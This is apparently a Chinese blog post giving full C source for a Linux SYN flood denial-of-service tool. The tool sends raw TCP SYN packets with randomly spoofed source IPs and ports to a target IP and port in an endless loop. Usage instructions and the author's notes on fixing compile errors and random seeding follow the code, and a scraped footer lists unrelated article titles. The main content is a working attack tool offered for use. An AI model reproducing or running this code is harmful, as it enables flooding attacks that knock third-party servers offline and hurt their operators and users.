SYN攻击源码

一、linux下源代码实现
/* syn flood by wqfhenanxc.
 * random soruce ip and random sourec port.
 * use #include <tcp_new.h>instead of for my own system reason.
 * usage :eg. to flood port 8080 on ip 246.245.167.45   ./synflood 246.245.167.45 8080
 * any question mail to [email protected] 
 * 2009.6.12
 */
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
//#include "synflood.h"

//#define DEFAULT_DPORT 80
//#define SPORT 8888

#define getrandom(min, max) ((rand() % (int)(((max)+1) - (min))) + (min))

void send_tcp(int sockfd,struct sockaddr_in *addr);
unsigned short checksum(unsigned short *buffer, int size);
unsigned short random_port(unsigned short minport,unsigned short maxport);
void random_ip(char *str);

int main(int argc,char **argv){
  int sockfd;
  struct sockaddr_in addr;
  //int dport;
  int on=1;
  if(argc!=3){
     printf("usage: <command_name><target_ip>\n");
     exit(1);
  }
  bzero(&addr,sizeof(struct sockaddr_in));
  addr.sin_family=AF_INET;
  addr.sin_port=htons(atoi(argv[2]));
  //addr.sin_addr.s_addr=inet_aton(argv[1]);
  inet_pton(AF_INET,argv[1],&addr.sin_addr);
  /*if(inet_aton(argv[1],&addr.sin_addr)==0){
     host=gethostbyname
  }*/
  sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
  if(sockfd<0){
     printf("Socket error!\n");
     exit(1);
  }
  setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
  while(1){
     send_tcp(sockfd,&addr);
  }
  return 0;
}

void send_tcp(int sockfd,struct sockaddr_in *addr){
  char buff[100];
  struct iphdr  ip_header;
  struct tcphdr tcp_header;
  unsigned short source_port=random_port(1024,5000);
  char ip_str[50];
  struct in_addr ip;

random_ip(ip_str);
  if(inet_aton(ip_str,&ip)==0){
     printf("inet_aton error!\n");
     exit(1);
  }
  bzero(buff,100);
  
  //ip_header=(struct iphdr*)buff;
  ip_header.version=4;
  ip_header.ihl=5;
  ip_header.tos=0;
  ip_header.tot_len=sizeof(struct iphdr)+sizeof(struct tcphdr);
  ip_header.id=htons(random());
  ip_header.frag_off=0;
  ip_header.ttl=30;
  ip_header.protocol=IPPROTO_TCP;
  ip_header.check=0;
  ip_header.saddr=ip.s_addr;
  ip_header.daddr=addr->sin_addr.s_addr;

//tcp_header=(struct tcphdr*)(buff+sizeof(struct iphdr));
  tcp_header.source=htons(source_port);
  tcp_header.dest=addr->sin_port;
  tcp_header.seq=rand();
  tcp_header.doff=sizeof(struct tcphdr)/4;
  tcp_header.ack_seq=0;
  tcp_header.res1=0;
  tcp_header.fin=0;
  tcp_header.syn=1;
  tcp_header.rst=0;
  tcp_header.psh=0;
  tcp_header.ack=0;
  tcp_header.urg=0;
  tcp_header.window=htons(65535);
  tcp_header.check=0;
  tcp_header.urg_ptr=0;

//send_tcp_segment(&ip_header,&tcp_header,"",0);
  struct{
     unsigned long saddr;
     unsigned long daddr;
     char mbz;
     char ptcl;
     unsigned short tcpl;
  }psd_header;

psd_header.saddr=ip_header.saddr;
  psd_header.daddr=ip_header.daddr;
  psd_header.mbz=0;
  psd_header.ptcl=IPPROTO_TCP;
  psd_header.tcpl=htons(sizeof(struct tcphdr));

memcpy(buff,&psd_header,sizeof(psd_header));
  memcpy(buff+sizeof(psd_header),&tcp_header,sizeof(tcp_header));
  //memcpy(buf+sizeof(psd_header)+sizeof(tcp_header),data,dlen);
  //memset(buf+sizeof(psd_header)+sizeof(tcp_header)+dlen,0,4);
  tcp_header.check=checksum((unsigned short*)buff,sizeof(psd_header)+sizeof(tcp_header));
  
  memcpy(buff,&ip_header,4*ip_header.ihl);
  memcpy(buff+4*ip_header.ihl,&tcp_header,sizeof(tcp_header));
  //memcpy(buf+4*ip_header.ihl+sizeof(tcp_header),data,dlen);
  //memset(buf+4*ip_header.ihl+sizeof(tcp_header)+dlen,0,4);
  ip_header.check=checksum((unsigned short*)buff,4*ip_header.ihl+sizeof(tcp_header));
   
  // send_seq=SEQ+1+strlen(buf);
  
  sendto(sockfd,buff,sizeof(struct iphdr)+sizeof(struct tcphdr),0,
             (struct sockaddr*)addr,sizeof(struct sockaddr_in));
 
}

unsigned short checksum(unsigned short *buffer, int size){

unsigned long cksum=0;

while(size >1) {

cksum+=*buffer++;

size -=sizeof(unsigned short);

}

if(size ) cksum += *(unsigned char*)buffer;  //..buffer..size..2......

cksum = (cksum >> 16) + (cksum & 0xffff);

cksum += (cksum >>16);

return (unsigned short)(~cksum);

}

unsigned short random_port(unsigned short minport,unsigned short maxport){
  /*struct time stime;
  unsigned seed;
  gettime(&stime);
  seed=stime.ti_hund*stime.ti_min*stime.ti_hour;
  srand(seed);*/
  srand((unsigned)time(NULL));
  return(getrandom(minport,maxport));
}

void random_ip(char *str){
  int a,b,c,d,i=0;
  static long j=0;
  srand((unsigned)time(NULL)+(i++)+(j++));
  a=getrandom(0,255);
  srand((unsigned)time(NULL)+(i++)+(j++));
  b=getrandom(0,255);
  srand((unsigned)time(NULL)+(i++)+(j++));
  c=getrandom(0,255);
  srand((unsigned)time(NULL)+(i++)+(j++));
  d=getrandom(0,255);
  sprintf(str,"%d.%d.%d.%d",a,b,c,d);
  printf("%s\n",str);  
}

二、编写中遇到的问题
1.rand()函数问题。随机ip地址四个字段分别生成,结果由于生成速度太快,作为srand()种子的系统时间没有来得及变化,导致ip四个字段相同,如118.118.118.118,并且接连有10个左右的包是同一个ip。解决办法是引入自增量i和j。
2.编译错误如下:
/usr/include/linux/ip.h:95: error: syntax error before "__u8"
/usr/include/linux/ip.h:102: error: syntax error before "tot_len"
/usr/include/linux/ip.h:103: error: syntax error before "id"
/usr/include/linux/ip.h:104: error: syntax error before "frag_off"
/usr/include/linux/ip.h:105: error: syntax error before "ttl"
/usr/include/linux/ip.h:106: error: syntax error before "protocol"
/usr/include/linux/ip.h:107: error: syntax error before "check"
/usr/include/linux/ip.h:108: error: syntax error before "saddr"
/usr/include/linux/ip.h:109: error: syntax error before "daddr"
。。。
。。。
。。。

/usr/include/linux/tcp.h:105: enumerator value for `TCP_FLAG_CWR‘ not
integer constant
/usr/include/linux/tcp.h:106: syntax error before "__u32"
/usr/include/linux/tcp.h:107: syntax error before "__u32"
/usr/include/linux/tcp.h:108: syntax error before "__u32"
/usr/include/linux/tcp.h:109: syntax error before "__u32"
/usr/include/linux/tcp.h:110: syntax error before "__u32"
/usr/include/linux/tcp.h:111: syntax error before "__u32"
/usr/include/linux/tcp.h:112: syntax error before "__u32"
/usr/include/linux/tcp.h:113: syntax error before "__u32"
/usr/include/linux/tcp.h:114: syntax error before "__u32"

以上两个错误是由于系统的ip.h和tcp.h确实有问题,
第一个错误通过 增加 #include 来解决,该文件包含了__u8和__u32的定义。

第二个错误源自tcp.h的如下几行:
enum {
TCP_FLAG_CWR = htonl(0x00800000)
TCP_FLAG_ECE = htonl(0x00400000),
TCP_FLAG_URG = htonl(0x00200000),
TCP_FLAG_ACK = htonl(0x00100000),
TCP_FLAG_PSH = htonl(0x00080000),
TCP_FLAG_RST = htonl(0x00040000),
TCP_FLAG_SYN = htonl(0x00020000),
TCP_FLAG_FIN = htonl(0x00010000),
TCP_RESERVED_BITS = htonl(0x0FC000000),
TCP_DATA_OFFSET = htonl(0xF0000000)
};
解决办法:将tcp.h的内容拷贝到另一个新建的文件tcp_new.h中,在新文件中去掉上面几行代码中的htonl,在自己的文件中用#include 代替#include 即可。

参考资料:
1.http://www.linuxsir.org/bbs/showthread.php?t=101990
2.Zakath的syn-flood源码
3.http://fanqiang.chinaunix.net/a4/b7/20010508/112433.html

时间: 2024-12-13 11:14:11

SYN攻击源码的相关文章

【雷电】源码分析(一)-- 进入游戏攻击

效果图: 程序分析: 初始化GameLayer场景触摸,背景.音乐.UI及定时间器 bool GameLayer::init() { if (!CCLayer::init()) { return false; } // 开启触摸 this->setTouchEnabled(true); // 创建数组,需要retain一下 play_bullet = CCArray::create(); play_bullet->retain(); enemy_bullet = CCArray::create

从源码中学习设计模式系列——单例模式序/反序列化以及反射攻击的问题(二)

一.前言 这篇文章是学习单例模式的第二篇,之前的文章一下子就给出来看起来很高大上的实现方法,但是这种模式还是存在漏洞的,具体有什么问题,大家可以停顿一会儿,思考一下.好了,不卖关子了,下面我们来看看每种单例模式存在的问题以及解决办法. 二.每种Singleton 模式的演进 模式一 public class LazySingleton { private static LazySingleton lazySingleton = null; private LazySingleton() { }

GitHub源码攻击事件

黑客擦除了微软多达392个代码存储库,并提出勒索要求.此前,黑客攻击了包含微软在内的大批受害者的Git存储库,删除了所有源代码和最近提交的内容,并留下了支持比特币支付的赎金票据. 勒索信息如下: “要恢复丢失的代码并避免泄漏:将比特币(BTC)发送到我们的比特币地址,并通过电子邮件[email protected]与您联系,并附上您的Git登录信息和付款证明,” “如果您不确定我们是否有您的数据,请联系我们,我们会向您发送证明.您的代码已下载并备份到我们的服务器上,“ “如果我们在未来10天内未

NexusPHP traker源码分析 模拟CC攻击

源码网上可以找 第一步 分析源码 //1.分析客户端 默认的允许的客户端请参照各大站 $agent = $_SERVER["HTTP_USER_AGENT"]; block_browser(); //2.分析参数 这几个参数必须有 foreach (array("passkey","info_hash","peer_id","event") as $x) { if(isset($_GET["$x&

衡阳高防服务器租用-CentOS6.2服务器环境配置:源码编译PHP5.4

衡阳高防服务器租用-CentOS6.2服务器环境配置:源码编译PHP5.4 在 开始之前,先把关于libmcrypt库的问题再说说,我也是在安装过程遇到的,因为原本以为yum可以安装好一切依赖包的,但在Centos6.2 64位环境下就是这么奇怪,yum安装上的libmcrypt始终都在编译过程提示缺少一个.h文件,为此差点碰伤了头.经过过多试验,总算把 libmcrypt这块先弄好了,否则到了PHP的安装环境是做不来的.安装PHP5.4.13要做的相关准备工作有除了下载PHP5.4.13的源码

tcp的半连接与完全连接队列(三)源码分析

TCP 协议中的 SYN queue 和 accept queue 处理 若要理解本文意图说明的问题,可能需要以下知识背景: listen 系统调用的 backlog 参数含义,以及与 net.core.somaxconn 参数的关系: SYN flood 攻击与防护: SYN queue 和 accept queue 的用途,以及在不同 linux 版本中的实现差异: ---- 在 SYN queue 未满的情况下,在收到 SYN 包后,TCP 协议栈自动回复 SYN,ACK 包,之后在收到

Chrome自带恐龙小游戏的源码研究(七)

在上一篇<Chrome自带恐龙小游戏的源码研究(六)>中研究了恐龙的跳跃过程,这一篇研究恐龙与障碍物之间的碰撞检测. 碰撞盒子 游戏中采用的是矩形(非旋转矩形)碰撞.这类碰撞优点是计算比较简单,缺点是对不规则物体的检测不够精确.如果不做更为精细的处理,结果会像下图: 如图所示,两个盒子虽然有重叠部分,但实际情况是恐龙和仙人掌之间并未发生碰撞.为了解决这个问题,需要建立多个碰撞盒子: 不过这样还是有问题,观察图片,恐龙和仙人掌都有四个碰撞盒子,如果每次Game Loop里都对这些盒子进行碰撞检测

AFNetworking2.0源码解析&lt;三&gt;

本篇说说安全相关的AFSecurityPolicy模块,AFSecurityPolicy用于验证HTTPS请求的证书,先来看看HTTPS的原理和证书相关的几个问题. HTTPS HTTPS连接建立过程大致是,客户端和服务端建立一个连接,服务端返回一个证书,客户端里存有各个受信任的证书机构根证书,用这些根证书对服务端 返回的证书进行验证,经验证如果证书是可信任的,就生成一个pre-master  secret,用这个证书的公钥加密后发送给服务端,服务端用私钥解密后得到pre-master secr

Android应用安全开发之源码安全

Android应用安全开发之源码安全 gh0stbo · 2016/01/21 10:24 0x00 简介 Android apk很容易通过逆向工程进行反编译,从而是其代码完全暴露给攻击者,使apk面临破解,软件逻辑修改,插入恶意代码,替换广告商ID等风险.我们可以采用以下方法对apk进行保护. 0x01 混淆保护 混淆是一种用来隐藏程序意图的技术,可以增加代码阅读的难度,使攻击者难以全面掌控app内部实现逻辑,从而增加逆向工程和破解的难度,防止知识产权被窃取. 代码混淆技术主要做了如下的工作: